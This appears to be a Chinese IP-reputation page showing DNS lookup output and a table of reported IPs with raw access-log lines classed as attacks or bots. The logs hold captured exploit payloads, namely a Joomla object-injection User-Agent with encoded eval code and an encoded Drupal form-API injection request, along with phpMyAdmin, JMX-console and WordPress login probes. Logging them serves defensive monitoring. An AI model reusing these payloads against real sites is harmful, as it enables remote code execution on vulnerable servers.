城市(city): unknown
省份(region): unknown
国家(country): China
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 42.49.143.200
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 64872
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;42.49.143.200. IN A
;; AUTHORITY SECTION:
. 94 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022010100 1800 900 604800 86400
;; Query time: 17 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Jan 01 14:53:50 CST 2022
;; MSG SIZE rcvd: 106Host 200.143.49.42.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 200.143.49.42.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 38.143.68.212 | attack | H |
2019-05-04 08:45:16 |
| 139.59.23.231 | botsattack | 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" 139.59.23.231 - - [24/Apr/2019:19:27:23 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-24 19:28:05 |
| 188.166.3.42 | botsattack | 188.166.3.42 - - [05/May/2019:11:22:39 +0800] "GET /jmx-console/ HTTP/1.1" 301 194 "-" "-" 188.166.3.42 - - [05/May/2019:11:22:40 +0800] "GET /jmx-console/ HTTP/1.1" 404 209 "http://118.25.52.138/jmx-console/" "-" |
2019-05-05 11:23:55 |
| 196.231.211.3 | bots | 196.231.211.3 - - [05/May/2019:09:46:34 +0800] "GET /check-ip/206.74.135.217 HTTP/1.1" 200 96149 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.2)" |
2019-05-05 09:48:47 |
| 66.206.0.172 | bots | 66.206.0.172 - - [27/Apr/2019:04:42:55 +0800] "GET /check-ip/33.117.246.3 HTTP/1.1" 200 90035 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0" 66.206.0.172 - - [27/Apr/2019:04:42:55 +0800] "GET /check-ip/100.35.13.79 HTTP/1.1" 200 92159 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1pre) Gecko/20090316 Minefield/3.2a1pre" 66.206.0.172 - - [27/Apr/2019:04:42:58 +0800] "GET /check-ip/90.143.27.14 HTTP/1.1" 200 90613 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6" 66.206.0.172 - - [27/Apr/2019:04:43:04 +0800] "GET /check-ip/139.199.6.107 HTTP/1.1" 200 92085 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3" |
2019-04-27 06:51:42 |
| 34.238.139.179 | bots | 34.238.139.179 - - [05/May/2019:11:18:01 +0800] "GET /check-ip/188.166.98.20 HTTP/1.1" 200 10280 "-" "Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)" |
2019-05-05 11:21:08 |
| 218.161.75.200 | attack | 218.161.75.200 - - [05/May/2019:12:03:42 +0800] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6http://118.25.52.138/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
218.161.75.200 - - [05/May/2019:12:03:42 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-05 12:04:53 |
| 101.226.79.190 | attack | 101.226.79.190 - - [25/Apr/2019:08:39:19 +0800] "GET /utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.226.79.190 - - [25/Apr/2019:08:39:19 +0800] "GET /utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0 HTTP/1.1" 404 209 "http://ipinfo.asytech.cn/utility/convert/index.php?a%3Dconfig%26source%3Dd7.2_x2.0" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-25 08:39:47 |
| 91.242.162.137 | bots | 91.242.162.137 - - [28/Apr/2019:09:53:28 +0800] "GET / HTTP/1.1" 200 10379 "-" "Mozilla/5.0 (compatible; Qwantify/Bleriot/1.1; +https://help.qwant.com/bot)" |
2019-04-28 09:54:28 |
| 129.204.239.125 | attack | 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 301 194 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 404 232 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 301 194 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 404 232 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-27 06:48:37 |
| 109.248.147.177 | bots | 109.248.147.177 - - [29/Apr/2019:08:08:40 +0800] "GET /check-ip/24.131.108.72 HTTP/1.1" 200 91401 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5" 109.248.147.177 - - [29/Apr/2019:08:08:41 +0800] "GET /check-ip/106.12.108.23 HTTP/1.1" 200 92056 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5" 109.248.147.177 - - [29/Apr/2019:08:09:59 +0800] "GET /check-ip/115.76.108.45 HTTP/1.1" 200 91779 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5" |
2019-04-29 08:10:47 |
| 69.30.243.244 | bots | 疑似伪造UA爬虫 69.30.243.244 - - [05/May/2019:12:19:24 +0800] "GET /check-ip/113.53.83.48 HTTP/1.1" 200 10113 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" 69.30.243.244 - - [05/May/2019:12:19:24 +0800] "GET /check-ip/171.7.246.129 HTTP/1.1" 200 9681 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.243.244 - - [05/May/2019:12:19:25 +0800] "GET /check-ip/64.49.72.210 HTTP/1.1" 200 10263 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 69.30.243.244 - - [05/May/2019:12:19:26 +0800] "GET /check-ip/36.89.134.161 HTTP/1.1" 200 10302 "https://ipinfo.asytech.cn" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 69.30.243.244 - - [05/May/2019:12:19:27 +0800] "GET /check-ip/36.67.134.3 HTTP/1.1" 200 9927 "https://ipinfo.asytech.cn" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 69.30.243.244 - - [05/May/2019:12:19:28 +0800] "GET /check-ip/75.141.151.0 HTTP/1.1" 200 10497 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.243.244 - - [05/May/2019:12:19:30 +0800] "GET /check-ip/36.75.67.63 HTTP/1.1" 200 10095 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" |
2019-05-05 12:24:28 |
| 103.106.148.207 | attack | 103.106.148.207 - - [23/Apr/2019:14:48:27 +0800] "POST https://www.eznewstoday.com/wp-login.php HTTP/1.1" 200 5534 "https://www.eznewstoday.com/wp-login.php" "Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.93.30 (KHTML, like Gecko) Version/5.3.8 Safari/531.75" |
2019-04-23 15:37:04 |
| 124.89.119.11 | bots | 124.89.119.11 - - [23/Apr/2019:13:55:45 +0800] "GET /view/img/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 112.80.137.106 - - [23/Apr/2019:13:55:45 +0800] "GET /home/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 121.57.228.33 - - [23/Apr/2019:13:55:46 +0800] "GET /view/img/favicon.ico HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 121.57.228.33 - - [23/Apr/2019:13:55:46 +0800] "GET /view/img/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" |
2019-04-23 13:58:05 |
| 64.233.173.174 | botsnormal | 是正常用户但是使用了GOOGLE的语音转文本服务 64.233.173.174 - - [28/Apr/2019:17:14:36 +0800] "GET /check-ip/148.72.41.76 HTTP/1.1" 200 9994 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googl e-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" 64.233.173.174 - - [28/Apr/2019:17:14:36 +0800] "GET /static/bootstrap/js/bootstrap.min.js HTTP/1.1" 200 48944 "https://ipinfo.asytech.cn/check-ip/148.72.41.76" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Geck o) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" 64.233.172.172 - - [28/Apr/2019:17:14:36 +0800] "GET /check-ip/148.72.41.76 HTTP/1.1" 200 9862 "-" "Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko; googleweblight) Chrome/38.0.1025.166 Mobile Safari/53 5.19" 64.233.173.176 - - [28/Apr/2019:17:14:37 +0800] "GET /check-ip/148.72.41.76 HTTP/1.1" 200 10135 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Goog le-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" 64.233.173.174 - - [28/Apr/2019:17:14:37 +0800] "GET /static/bootstrap/js/popper.min.js HTTP/1.1" 200 19188 "https://ipinfo.asytech.cn/check-ip/148.72.41.76" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" |
2019-04-28 17:49:13 |